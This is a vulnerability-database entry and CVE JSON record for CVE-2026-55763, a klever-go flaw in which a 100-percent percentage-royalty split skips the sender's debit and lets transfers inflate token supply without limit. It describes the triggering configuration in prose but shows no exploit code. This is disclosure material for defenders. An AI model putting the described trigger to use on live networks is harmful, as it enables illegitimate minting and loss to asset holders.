      "url": "https://github.com/klever-io/klever-go/releases/tag/v1.7.19"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "klever-go: Percentage-transfer royalty skips the source debit at exactly-100% splits"
}

CVE-2026-55763 (GCVE-0-2026-55763)

Vulnerability from cvelistv5 – Published: 2026-08-28 20:26 – Updated: 2026-08-31 14:02

Title

Klever-Go: Percentage-transfer royalty skips the source debit at exactly-100% splits

Summary

Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.19, processPercentageRoyaltiesTransfer in core/kapp/accounts/accounts.go calls SubFromBalance after the split loop and after the royaltiesToPay <= 0 early return. computeSplitRoyalties rejects only when splitToPay > royaltiesToPay, so a valid PercentTransferPercentage = 10000 split consumes exactly 100 percent of the royalty pool, sets royaltiesToPay to zero, and returns before the source account is debited. The split recipient receives the full royaltyAmount while the sender pays nothing and the supply counter is not updated, allowing unbounded off-the-books inflation of the transferred KDA. A KDA owner must configure a TransferPercentage royalty with a 100 percent split, after which any holder's transfer of the asset triggers the mint; the sibling processFixedRoyaltiesTransfer path is not affected because it debits the source before distribution. This issue is fixed in version 1.7.19.

Severity

8.7 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-08-31 14:02 UTC

CWE

CWE-841 - Improper Enforcement of Behavioral Workflow

Assigner

GitHub_M mitre root

References

3 references

URL	Tags
https://github.com/klever-io/klever-go/security/a…	x_refsource_CONFIRM
https://github.com/klever-io/klever-go/commit/8bc…	x_refsource_MISC
https://github.com/klever-io/klever-go/releases/t…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
klever-io	klever-go	Affected: < 1.7.19

Show details on NVD website

JSON

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{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-55763",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-31T14:02:34.966496Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-08-31T14:02:42.262Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/klever-io/klever-go/security/advisories/GHSA-v358-wf77-39xv"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "klever-go",
          "vendor": "klever-io",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.7.19"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.19, processPercentageRoyaltiesTransfer in core/kapp/accounts/accounts.go calls SubFromBalance after the split loop and after the royaltiesToPay \u003c= 0 early return. computeSplitRoyalties rejects only when splitToPay \u003e royaltiesToPay, so a valid PercentTransferPercentage = 10000 split consumes exactly 100 percent of the royalty pool, sets royaltiesToPay to zero, and returns before the source account is debited. The split recipient receives the full royaltyAmount while the sender pays nothing and the supply counter is not updated, allowing unbounded off-the-books inflation of the transferred KDA. A KDA owner must configure a TransferPercentage royalty with a 100 percent split, after which any holder\u0027s transfer of the asset triggers the mint; the sibling processFixedRoyaltiesTransfer path is not affected because it debits the source before distribution. This issue is fixed in version 1.7.19."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 8.7,
            "baseSeverity": "HIGH",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "NONE",
            "vulnIntegrityImpact": "HIGH"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-841",
              "description": "CWE-841: Improper Enforcement of Behavioral Workflow",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-28T20:26:43.720Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/klever-io/klever-go/security/advisories/GHSA-v358-wf77-39xv",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/klever-io/klever-go/security/advisories/GHSA-v358-wf77-39xv"
        },
        {
          "name": "https://github.com/klever-io/klever-go/commit/8bcc600b0ac88070740c63c7ce1c8a968dd85251",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/klever-io/klever-go/commit/8bcc600b0ac88070740c63c7ce1c8a968dd85251"
        },
        {
          "name": "https://github.com/klever-io/klever-go/releases/tag/v1.7.19",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/klever-io/klever-go/releases/tag/v1.7.19"
        }
      ],
      "source": {
        "advisory": "GHSA-v358-wf77-39xv",
        "discovery": "UNKNOWN"
      },
      "title": "Klever-Go: Percentage-transfer royalty skips the source debit at exactly-100% splits"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-55763",
    "datePublished": "2026-08-28T20:26:43.720Z",
    "dateReserved": "2026-06-17T14:34:51.880Z",
    "dateUpdated": "2026-08-31T14:02:42.262Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-V358-WF77-39XV

Summary

Affected code

Impact

Reachability

Proof of concept

Unit test

On-chain reproduction (live single-node localnet)

Remediation

CVE-2026-55763 (GCVE-0-2026-55763)

Tags

Sightings

Nomenclature

Related by attack behaviour